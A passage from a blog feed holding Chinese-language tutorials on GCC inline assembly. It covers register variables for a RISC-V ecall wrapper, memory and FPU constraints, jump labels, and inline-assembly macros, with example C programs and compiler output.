&lt;p&gt;当 GCC 没有提供将变量分配到特定寄存器中的 constraint 时，我们将该变量声明为局部寄存器变量，并将其分配到特定的寄存器中。然后紧贴着写内联汇编，分配到寄存器中就使用&lt;code&gt;r&lt;&#x2F;code&gt; constrait。&lt;&#x2F;p&gt;
&lt;p&gt;以下代码封装了 RISC-V ecall。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;c&quot; class=&quot;language-c &quot;&gt;&lt;code class=&quot;language-c&quot; data-lang=&quot;c&quot;&gt;void
sbi_console_putchar(int ch)
{
    register int a0 asm (&amp;quot;x10&amp;quot;) = ch;			&amp;#x2F;&amp;#x2F; 变量 a0 分配到寄存器 x10 中
    register uint64_t a6 asm (&amp;quot;x16&amp;quot;) = 0;		&amp;#x2F;&amp;#x2F; 变量 a6 分配到寄存器 x16 中
    register uint64_t a7 asm (&amp;quot;x17&amp;quot;) = 1;		&amp;#x2F;&amp;#x2F; 变量 a7 分配到寄存器 x17 中
    __asm__ __volatile__ (
        &amp;quot;ecall \n\t&amp;quot;
        : &amp;#x2F;* empty output list *&amp;#x2F;
        : &amp;quot;r&amp;quot; (a0), &amp;quot;r&amp;quot; (a6), &amp;quot;r&amp;quot; (a7)
        : &amp;quot;memory&amp;quot;
        );
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;陷阱&lt;&#x2F;strong&gt;:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;小心在定义了寄存器变量后，使用寄存器变量前，某些语句修改的寄存器的值&lt;&#x2F;li&gt;
&lt;li&gt;局部寄存器变量只能配合内联汇编使用，或者按照标准 C ABI 在函数之间传递。其他所有用法都是未定义的，工作正常仅仅是运气。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;zong-jie&quot;&gt;总结&lt;&#x2F;h2&gt;
&lt;p&gt;准则：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;尽可能不要使用宏和伪指令&lt;&#x2F;li&gt;
&lt;li&gt;使用&lt;code&gt;=&lt;&#x2F;code&gt; constraint 时不要假设在进入 asm 块时，变量已被分配到寄存器中&lt;&#x2F;li&gt;
&lt;li&gt;不要修改输入变量，除非它和输出相关联&lt;&#x2F;li&gt;
&lt;li&gt;尽可能考虑全面，尽可能提供多的信息&lt;&#x2F;li&gt;
&lt;li&gt;小心输出输入重叠，使用&lt;code&gt;&amp;amp;&lt;&#x2F;code&gt;constraint 解决这个问题&lt;&#x2F;li&gt;
&lt;li&gt;较宽泛的 constraint 可以给 GCC 更大自由，生成更好的代码，但程序员要考虑的事情也变多了&lt;&#x2F;li&gt;
&lt;li&gt;小心打字错误，如将&lt;code&gt;$1&lt;&#x2F;code&gt;打成&lt;code&gt;1&lt;&#x2F;code&gt;,这可能导致段错误&lt;&#x2F;li&gt;
&lt;li&gt;小写指令的操作对象类型错误，这可能导致段错误。如 x86 的&lt;code&gt;cmov&lt;&#x2F;code&gt;指令要求源是寄存器或内存位置，目的操作对象是寄存器。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;can-kao&quot;&gt;参考&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;gcc.gnu.org&#x2F;onlinedocs&#x2F;gcc-4.2.3&#x2F;gccint&#x2F;Machine-Modes.html&quot;&gt;Machine Modes&lt;&#x2F;a&gt;: GCC 中的机器模式概念，和 x86 修饰符有关。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;gcc.gnu.org&#x2F;onlinedocs&#x2F;gcc-10.2.0&#x2F;gcc&#x2F;&quot;&gt;Using the GNU Compiler Collection (GCC)&lt;&#x2F;a&gt;: GCC 官方文档。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;developers.redhat.com&#x2F;blog&#x2F;2016&#x2F;02&#x2F;25&#x2F;new-asm-flags-feature-for-x86-in-gcc-6&#x2F;&quot;&gt;New asm flags feature for x86 in GCC 6&lt;&#x2F;a&gt;: 解释了 GCC 6 引入的在内联汇编中以标记寄存器为输出的的新功能。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>使用内联汇编 (三) 内联汇编结束篇 - zengl开源网</title>
        <published>2024-03-04T00:00:00+00:00</published>
        <updated>2024-03-04T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/使用内联汇编-三-内联汇编结束篇-zengl开源网/"/>
        <id>https://vercel.juzhong.asia/obsidian/使用内联汇编-三-内联汇编结束篇-zengl开源网/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/使用内联汇编-三-内联汇编结束篇-zengl开源网/">&lt;h1 id=&quot;shi-yong-nei-lian-hui-bian-san-nei-lian-hui-bian-jie-shu-pian-zenglkai-yuan-wang&quot;&gt;使用内联汇编 (三) 内联汇编结束篇 - zengl开源网&lt;&#x2F;h1&gt;
&lt;p&gt;原文链接：&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.zengl.com&#x2F;a&#x2F;201404&#x2F;147.html&quot;&gt;https:&#x2F;&#x2F;www.zengl.com&#x2F;a&#x2F;201404&#x2F;147.html&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;本文由zengl.com站长对
&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;http:&#x2F;&#x2F;pan.baidu.com&#x2F;share&#x2F;link?shareid=3717576860&amp;amp;uk=940392313&quot;&gt;http:&#x2F;&#x2F;pan.baidu.com&#x2F;share&#x2F;link?shareid=3717576860&amp;amp;uk=940392313&lt;&#x2F;a&gt; 汇编教程英文版相应章节进行翻译得来。&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;  另外再附加一个英特尔英文手册的共享链接地址：
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;http:&#x2F;&#x2F;pan.baidu.com&#x2F;share&#x2F;link?shareid=2345340326&amp;amp;uk=940392313&quot;&gt;http:&#x2F;&#x2F;pan.baidu.com&#x2F;share&#x2F;link?shareid=2345340326&amp;amp;uk=940392313&lt;&#x2F;a&gt; (在某些例子中会用到)&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;  本篇翻译对应汇编教程英文原著的第410页到第419页，目前翻译完前13章 (注意这里的页数不是页脚的页数，而是pdf电子档顶部，分页输入框中的页数，也就是包含了目录，前言部分的总页数，pdf电子档总页数是577，当前已翻译完的页数为419 &amp;#x2F; 577)。
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;Using memory locations 使用内存位置：&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;  之前的扩展asm格式里，介绍了如何通过寄存器来访问C程式里的变量，其实还可以直接使用变量的内存位置来访问变量的值，例如下面的memtest.c程式：
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;pre&gt;&lt;code&gt;&amp;#x2F;* memtest.c - An example of using memory locations as values *&amp;#x2F;
#include &amp;lt;stdio.h&amp;gt;

int main()
{
	int dividend = 20;
	int divisor = 5;
	int result;
	asm(&amp;quot;divb %2\n\t&amp;quot;
	&amp;quot;movl %1, %0&amp;quot;
	: &amp;quot;=m&amp;quot;(result)
	: &amp;quot;a&amp;quot;(dividend), &amp;quot;m&amp;quot;(divisor));
	printf(&amp;quot;The result is %d\n&amp;quot;, result);
	return 0;
}

&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;pre&gt;&lt;code&gt; 上面代码里，result输出操作数和divisor输入操作数都用到了&amp;quot;m&amp;quot;约束符，在上一篇文章里，介绍过&amp;quot;m&amp;quot;约束符指的是&amp;quot;**使用变量的内存位置**&amp;quot;，我们可以通过gcc -S来查看该约束符对应生成的汇编指令：
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;$ gcc -o memtest memtest.c
$ .&#x2F;memtest
The result is 4
$ gcc -S memtest.c
$ cat memtest.s
............................
............................
movl    $20, 28(%esp)
movl    $5, 24(%esp)
movl    28(%esp), %eax&lt;&#x2F;p&gt;
&lt;h1 id=&quot;app&quot;&gt;APP&lt;&#x2F;h1&gt;
&lt;h1 id=&quot;9-memtest-c-1&quot;&gt;9 &quot;memtest.c&quot; 1&lt;&#x2F;h1&gt;
&lt;p&gt;divb 24(%esp)
movl %eax, 20(%esp)&lt;&#x2F;p&gt;
&lt;h1 id=&quot;0-2&quot;&gt;0 &quot;&quot; 2&lt;&#x2F;h1&gt;
&lt;pre&gt;&lt;code&gt;			#NO\_APP
			    movl    20(%esp), %edx
			    movl    \$.LC0, %eax
			    movl    %edx, 4(%esp)
			    movl    %eax, (%esp)
			    call    printf
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;............................
............................
$&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt; 从上面的输出可以看到，内联汇编里第一条“divb %2”的指令变为了“divb 24(%esp)”，由于%2对应的输入操作数divisor使用的是&amp;quot;m&amp;quot;约束，所以%2占位符就被替换为了divisor变量对应的内存位置，由于该变量是一个局部变量，所以他的内存位置为esp栈顶指针加上一个偏移值(这里的偏移值为24)。同理第二条&amp;quot;movl %1, %0&amp;quot;的指令变为了&amp;quot;movl %eax, 20(%esp)&amp;quot;，%1对应的dividend操作数使用的是&amp;quot;a&amp;quot;约束，所以%1就被替换为了%eax，%0对应的result操作数使用的是&amp;quot;=m&amp;quot;约束，所以%0被替换为了result变量的内存位置即20(%esp)。

  注意：由于第一条内联汇编指令使用的是divb指令，该指令的后缀为字符b，即除数只有8位大小(除数的值必须小于256)，被除数隐式存储在AX寄存器里，即被除数只有16位大小(被除数的值必须小于65536)。如果你想使用更大的除数或被除数，可以将divb指令调整为divw或divl指令。
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;Using floating-point values 使用浮点值：&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;  由于FPU浮点寄存器是以寄存器栈的方式进行工作的(在之前的&amp;quot;**高级数学运算 (一) FPU寄存器介绍**&amp;quot;的章节里讲解过)，所以，在内联汇编里使用FPU寄存器的方式和普通寄存器的使用方式有所不同，下面就介绍下，如何在内联汇编里使用FPU寄存器进行浮点运算。

  在上一篇的约束符列表里，你可能已经注意到了三个和FPU寄存器相关的约束符：
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&quot;f&quot;约束符：使用任何可用的浮点寄存器&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&quot;t&quot;约束符：使用第一个ST0浮点寄存器&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&quot;u&quot;约束符：使用第二个ST1浮点寄存器&lt;&#x2F;p&gt;
&lt;p&gt;当你从FPU里获取结果时，不能使用&quot;f&quot;约束符，必须使用&quot;t&quot;或&quot;u&quot;约束符来明确的指定结果所在的寄存器，例如下面的代码片段：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;  		asm( “fsincos”
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;strong&gt;:&lt;&#x2F;strong&gt; “=t”(cosine), “=u”(sine)
&lt;strong&gt;:&lt;&#x2F;strong&gt; “0”(radian));&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt; FSINCOS指令会根据ST0里的弧度值，计算出对应的cosine(余弦值)和sine(正弦值)，并将计算的正弦值先压入栈，再将计算的余弦值后压入栈，这样正弦值就由ST0移到ST1里了，而后压入栈的余弦值就位于ST0里，所以上面的代码片段里，第一个cosine输出操作数使用的是&amp;quot;=t&amp;quot;的约束符(表示将ST0里的余弦值输出到cosine变量里)，第二个sine输出操作数使用的是&amp;quot;=u&amp;quot;约束符(表示将ST1里的正弦值存储到sine变量里)。另外，radian(弧度值)使用的是&amp;quot;0&amp;quot;占位符，表示使用和cosine一样的ST0寄存器来存储计算用的弧度值。

  上面只是代码片段，完整的例子如下所示：
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;pre&gt;&lt;code&gt;&amp;#x2F;* sincostest.c - An example of using two FPU registers *&amp;#x2F;
#include &amp;lt;stdio.h&amp;gt;

int main()
{
	float angle = 90;
	float radian, cosine, sine;
	radian = angle &amp;#x2F; 180 * 3.14159;
	asm(&amp;quot;fsincos&amp;quot;
	:&amp;quot;=t&amp;quot;(cosine), &amp;quot;=u&amp;quot;(sine)
	:&amp;quot;0&amp;quot;(radian));
	printf(&amp;quot;The cosine is %f, and the sine is %f\n&amp;quot;, cosine, sine);
	return 0;
}

&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;pre&gt;&lt;code&gt; 上面代码的执行情况如下所示：
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;$ gcc -o sincostest sincostest.c
$ .&#x2F;sincostest
The cosine is 0.000001, and the sine is 1.000000
$&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt; 可以看到，90度的余弦值和正弦值被成功存储到cosine和sine对应的变量里了，另外，使用gcc -S查看到的汇编指令如下：
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;$ gcc -S sincostest.c
$ cat sincostest.s
............................
............................
flds    40(%esp)&lt;&#x2F;p&gt;
&lt;h1 id=&quot;app-1&quot;&gt;APP&lt;&#x2F;h1&gt;
&lt;h1 id=&quot;9-sincostest-c-1&quot;&gt;9 &quot;sincostest.c&quot; 1&lt;&#x2F;h1&gt;
&lt;p&gt;fsincos&lt;&#x2F;p&gt;
&lt;h1 id=&quot;0-2-1&quot;&gt;0 &quot;&quot; 2&lt;&#x2F;h1&gt;
&lt;pre&gt;&lt;code&gt;			#NO\_APP
			............................
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;fstps    52(%esp)
............................
fstps    48(%esp)
............................
............................
$&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt; 汇编指令会先用flds指令将弧度值压入ST0，在fsincos计算出结果后，再通过fstps指令将寄存器栈里的余弦值和正弦值依次弹出并存储到cosine与sine的内存位置里。

  另外，如果在内联汇编的代码里使用了某个浮点寄存器，但是在输入和输出的操作数里并没有指定该寄存器对应的约束符的话，也要将该浮点寄存器写入到被修改的寄存器列表里，如下面的areatest.c程式：
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;pre&gt;&lt;code&gt;&amp;#x2F;* areatest.c - An example of using floating point regs *&amp;#x2F;
#include &amp;lt;stdio.h&amp;gt;

int main()
{
	int radius = 10;
	float area;
	asm(&amp;quot;fild %1\n\t&amp;quot;
	&amp;quot;fimul %1\n\t&amp;quot;
	&amp;quot;fldpi\n\t&amp;quot;
	&amp;quot;fmul %%st(1), %%st(0)&amp;quot;
	: &amp;quot;=t&amp;quot;(area)
	:&amp;quot;m&amp;quot;(radius)
	: &amp;quot;%st(1)&amp;quot;);
	printf(&amp;quot;The result is %f\n&amp;quot;, area);
	return 0;
}

&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;pre&gt;&lt;code&gt; 上面汇编代码的作用是计算radius半径对应的圆面积，它会先用fild指令将radius半径值压入ST0，再通过fimul指令计算出半径的平方，接着通过fldpi指令加载3.14159...的pi值到ST0，这样原来ST0里的半径平方值就会自动移入ST1，最后通过fmul %%st(1), %%st(0)指令将ST1里的半径平方和ST0里的PI值相乘，得到的面积值存储在ST0里，最后ST0里的值会输出到area变量里，由于内联汇编里使用到了ST1寄存器，但是在输入和输出操作数列表里只指定了一个&amp;quot;=t&amp;quot;的约束符，该约束符表示ST0寄存器，因此，操作数列表里并没有指定使用ST1寄存器，所以需要在最后的被修改的寄存器列表里加入&amp;quot;%st(1)&amp;quot;，这样编译器才会对该寄存器做一些善后工作。
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;Handling jumps 在内联汇编里使用跳转指令：&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;  在内联汇编里可以自定义标签名，并且可以使用跳转指令来跳转到这些自定义的标签处。

  下面的jmptest.c程式就演示了如何自定义标签名以及跳转指令的使用：
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;pre&gt;&lt;code&gt;&amp;#x2F;* jmptest.c - An example of using jumps in inline assembly *&amp;#x2F;
#include &amp;lt;stdio.h&amp;gt;

int main()
{
	int a = 10;
	int b = 20;
	int result;
	asm(&amp;quot;cmp %1, %2\n\t&amp;quot;
	&amp;quot;jge greater\n\t&amp;quot;
	&amp;quot;movl %1, %0\n\t&amp;quot;
	&amp;quot;jmp end\n&amp;quot;
	&amp;quot;greater:\n\t&amp;quot;
	&amp;quot;movl %2, %0\n&amp;quot;
	&amp;quot;end:&amp;quot;
	:&amp;quot;=r&amp;quot;(result)
	:&amp;quot;r&amp;quot;(a), &amp;quot;r&amp;quot;(b));
	printf(&amp;quot;The larger value is %d\n&amp;quot;, result);
	return 0;
}

&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;pre&gt;&lt;code&gt; 上面的内联汇编代码里，定义了两个标签：greater和end标签，当第一条cmp指令的比较结果是%2对应的目标操作数大于等于%1对应的源操作数时，紧随其后的jge greater指令就会跳转到greater标签处，将较大的%2对应的操作数作为结果进行输出。反之，如果cmp指令比较的结果是%2对应的目标操作数小于%1对应的源操作数时，则jge指令就不会跳转，而是继续往下执行&amp;quot;movl %1, %0&amp;quot;的指令，从而将较大的%1操作数作为结果，最后通过&amp;quot;jmp end&amp;quot;指令跳转到end结束标签处。

  使用gcc -S生成的汇编指令里也包含了对应的标签名：
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;pre&gt;&lt;code&gt;$ gcc -S jmptest.c
$ cat jmptest.s
...............................
...............................
#APP
# 9 &amp;quot;jmptest.c&amp;quot; 1
	cmp %eax, %edx
	jge greater
	movl %eax, %ebx
	jmp end
greater:
	movl %edx, %ebx
end:
...............................
...............................
$

&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;pre&gt;&lt;code&gt; 从上面的输出可以看到，目标汇编指令里也包含了greater和end标签名。

  此外，虽然可以在内联汇编里自定义标签名，但是这么做也存在两方面的限制，第一个限制是：内联汇编里的jmp之类的跳转指令，只能在同一个asm代码段里进行跳转，不能跳转到其他的asm代码段里定义的标签处。

  第二个限制是：由于这些标签名会被编译进最终的汇编指令里，这样在不同的asm代码段里就不能定义相同的标签名，否则编译器就会报相同标签名的错误，另外，这些自定义的标签名还不能与C程式里的函数名，全局变量等的名字相同，否则编译器也会报错。

  要解决相同标签名的问题，最好的方法就是使用局部标签，局部标签名就是使用数字(0到99的范围)作为标签名，局部标签名可以被重复定义很多次，相同的数字也可以在同一个代码段里被定义多次，如下面的jmptest2.c程式：
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;pre&gt;&lt;code&gt;&amp;#x2F;* jmptest2.c - An example of using generic jumps in inline assembly *&amp;#x2F;
#include &amp;lt;stdio.h&amp;gt;

int main()
{
	int a = 10;
	int b = 20;
	int result;
	asm(&amp;quot;cmp %1, %2\n\t&amp;quot;
	&amp;quot;jge 0f\n\t&amp;quot;
	&amp;quot;movl %1, %0\n\t&amp;quot;
	&amp;quot;jmp 1f\n &amp;quot;
	&amp;quot;0:\n\t&amp;quot;
	&amp;quot;movl %2, %0\n &amp;quot;
	&amp;quot;1:&amp;quot;
	:&amp;quot;=r&amp;quot;(result)
	:&amp;quot;r&amp;quot;(a), &amp;quot;r&amp;quot;(b));
	printf(&amp;quot;The larger value is %d\n&amp;quot;, result);
	return 0;
}

&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;pre&gt;&lt;code&gt; jmptest2.c使用0和1的局部标签名来代替之前的greater和end标签，在使用jge与jmp指令跳转时，数字标签名后面跟了一个字符，例如jge 0f，0后面的&amp;quot;f&amp;quot;是forward向前跳转的意思，这样jge就会向前跳转到最接近的0标签处，同理jmp 1f指令就是向前跳转到最接近的1标签处，如果想向后跳转，就必须使用&amp;quot;b&amp;quot;字符，来表示backward向后跳转。
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;Using Inline Assembly Code 使用内联汇编代码：&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;  有的时候，具有相同功能的一段内联汇编代码其实可以写成宏的形式，宏会被编译器自动展开为完整的汇编代码，下面先介绍C语言里宏的概念，再介绍如何在C程式里为内联汇编创建宏。
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;What are macros? 什么是宏：&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;  在C和C++的程式里，最简单的宏的定义格式如下：
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;define-name-expression&quot;&gt;define NAME expression&lt;&#x2F;h1&gt;
&lt;pre&gt;&lt;code&gt; 通过#define关键字来定义宏，NAME为宏名称(习惯上，宏名称都是大写字母，这样不容易和函数名发生冲突)，expression为表达式，表达式可以是数字或字符串类型的常量值。

  当定义了一个NAME宏时，C程式里所有出现NAME的地方都会被编译器替换为对应的expression表达式，例如，假设在一开始定义了一个如下所示的宏：
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;define-max-value-1024&quot;&gt;define MAX_VALUE 1024&lt;&#x2F;h1&gt;
&lt;pre&gt;&lt;code&gt; 上面定义了一个名为MAX\_VALUE的宏，对应的宏值为1024，那么如果在C程式里有一段下面的代码：

			data = MAX\_VALUE;
			if (size &amp;gt; MAX\_VALUE)

 编译器在编译时，就会将上面的MAX\_VALUE宏替换为1024，所以上面的代码等效于：

			data = 1024
			if (size &amp;gt; 1024)

 宏可以放置的位置是由宏值来决定的，例如，上面的MAX\_VALUE对应的值为1024，那么MAX\_VALUE就只能参与数值计算，不能像变量那样被赋值，如：MAX\_VALUE = 123这样的式子是不对的，因为编译器替换后，该式子就会变为：1024 = 123，数字常量本身是不能被修改和赋值的，所以放置宏时，一定要根据宏值来决定。

  宏除了可以用来替换普通的数字，字符串等简单的常量表达式外，还有一种宏函数的格式，下面就对这种格式进行介绍。
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;C macro functions C语言宏函数：&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;  宏函数的格式如下：
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;define-name-input-values-output-value-function&quot;&gt;define NAME(input values, output value) (function)&lt;&#x2F;h1&gt;
&lt;pre&gt;&lt;code&gt; 宏函数也是用#define关键字来定义的，NAME为宏函数的名称，接着括号里的(input values, output value)是宏函数的参数列表部分，function为具体的一段需要替换的表达式，参数列表部分，既可以包含input values输入参数，也可以包含output value输出参数。宏函数也是在一开始定义好后，就可以在C程式的任意地方进行使用，编译器会自动完成相关的替换工作。

  宏函数的例子可以参考下面的mactest1.c程式：
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;pre&gt;&lt;code&gt;&amp;#x2F;* mactest1.c - An example of a C macro function *&amp;#x2F;
#include &amp;lt;stdio.h&amp;gt;
#define SUM(a, b, result) \
	((result) = (a) + (b))

int main()
{
	int data1 = 5, data2 = 10;
	int result;
	float fdata1 = 5.0, fdata2 = 10.0;
	float fresult;
	SUM(data1, data2, result);
	printf(&amp;quot;The result is %d\n&amp;quot;, result);
	SUM(1, 1, result);
	printf(&amp;quot;The result is %d\n&amp;quot;, result);
	SUM(fdata1, fdata2, fresult);
	printf(&amp;quot;The floating result is %f\n&amp;quot;, fresult);
	SUM(fdata1, fdata2, result);
	printf(&amp;quot;The mixed result is %d\n&amp;quot;, result);
	return 0;
}

&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;pre&gt;&lt;code&gt; 上面代码里定义了一个名为SUM的宏函数，参数列表里有三个参数，然后就是一段要被替换的表达式，我们可以使用gcc -E来查看宏展开后的代码：
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;pre&gt;&lt;code&gt;$ gcc -E mactest1.c
.......................
.......................
int main()
{
	 int data1 = 5, data2 = 10;
	 int result;
	 float fdata1 = 5.0, fdata2 = 10.0;
	 float fresult;
	 ((result) = (data1) + (data2));
	 printf(&amp;quot;The result is %d\n&amp;quot;, result);
	 ((result) = (1) + (1));
	 printf(&amp;quot;The result is %d\n&amp;quot;, result);
	 ((fresult) = (fdata1) + (fdata2));
	 printf(&amp;quot;The floating result is %f\n&amp;quot;, fresult);
	 ((result) = (fdata1) + (fdata2));
	 printf(&amp;quot;The mixed result is %d\n&amp;quot;, result);
	 return 0;
}
$

&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;pre&gt;&lt;code&gt; 从输出可以看到，源代码里的&amp;quot;SUM(data1, data2, result)&amp;quot;被替换为了&amp;quot;((result) = (data1) + (data2))&amp;quot;，&amp;quot;SUM(1, 1, result)&amp;quot;被替换为了&amp;quot;((result) = (1) + (1))&amp;quot;，“SUM(fdata1, fdata2, fresult)”则被替换为了&amp;quot;((fresult) = (fdata1) + (fdata2))&amp;quot; ，所以宏函数只是根据提供的实际参数来进行简单的替换，然后对替换后的代码进行编译，生成最终的汇编指令。

  我们可以使用宏函数来定义和使用内联汇编，下面就对这种方式进行介绍：
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;Creating inline assembly macro functions 创建内联汇编的宏函数：&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;  内联汇编的宏函数，在格式上和普通的C宏函数没什么太大的区别，都由宏名，宏参数，宏表达式组成，只不过宏表达式是asm定义的内联汇编代码而已，例如下面的mactest2.c程式：
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;pre&gt;&lt;code&gt;&amp;#x2F;* mactest2.c - An example of using inline assembly macros in a program *&amp;#x2F;
#include &amp;lt;stdio.h&amp;gt;

#define GREATER(a, b, result) ({ \
		asm(&amp;quot;cmp %1, %2\n\t&amp;quot; \
		&amp;quot;jge 0f\n\t&amp;quot; \
		&amp;quot;movl %1, %0\n\t&amp;quot; \
		&amp;quot;jmp 1f\n\t&amp;quot; \
		&amp;quot;0:\n\t&amp;quot; \
		&amp;quot;movl %2, %0\n\t&amp;quot; \
		&amp;quot;1:&amp;quot; \
		:&amp;quot;=r&amp;quot;(result) \
		:&amp;quot;r&amp;quot;(a), &amp;quot;r&amp;quot;(b)); })

int main()
{
	int data1 = 10;
	int data2 = 20;
	int result;
	GREATER(data1, data2, result);
	printf(&amp;quot;a = %d, b = %d result: %d\n&amp;quot;, data1, data2, result);
	data1 = 30;
	GREATER(data1, data2, result);
	printf(&amp;quot;a = %d, b = %d result: %d\n&amp;quot;, data1, data2, result);
	return 0;
}

&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;pre&gt;&lt;code&gt; 同样的，我们可以使用gcc -E来查看宏展开后的代码：
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;pre&gt;&lt;code&gt;$ gcc -E mactest2.c
.........................
.........................
int main()
{
 int data1 = 10;
 int data2 = 20;
 int result;
 ({ asm(&amp;quot;cmp %1, %2\n\t&amp;quot; &amp;quot;jge 0f\n\t&amp;quot; &amp;quot;movl %1, %0\n\t&amp;quot; &amp;quot;jmp 1f\n\t&amp;quot; &amp;quot;0:\n\t&amp;quot; &amp;quot;movl %2, %0\n\t&amp;quot; &amp;quot;1:&amp;quot; :&amp;quot;=r&amp;quot;(result) :&amp;quot;r&amp;quot;(data1), &amp;quot;r&amp;quot;(data2)); });
 printf(&amp;quot;a = %d, b = %d result: %d\n&amp;quot;, data1, data2, result);
 data1 = 30;
 ({ asm(&amp;quot;cmp %1, %2\n\t&amp;quot; &amp;quot;jge 0f\n\t&amp;quot; &amp;quot;movl %1, %0\n\t&amp;quot; &amp;quot;jmp 1f\n\t&amp;quot; &amp;quot;0:\n\t&amp;quot; &amp;quot;movl %2, %0\n\t&amp;quot; &amp;quot;1:&amp;quot; :&amp;quot;=r&amp;quot;(result) :&amp;quot;r&amp;quot;(data1), &amp;quot;r&amp;quot;(data2)); });
 printf(&amp;quot;a = %d, b = %d result: %d\n&amp;quot;, data1, data2, result);
 return 0;
}
$

&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;pre&gt;&lt;code&gt; 可以看到GREATER宏函数都被替换为对应的asm内联汇编代码了，这样同一种功能的内联汇编代码就不需要重复进行编写，使用宏函数让代码也变得简洁，容易阅读和维护。

  以上就是内联汇编的相关内容，剩下的是些英文原著的总结部分，限于篇幅，就不多说了。

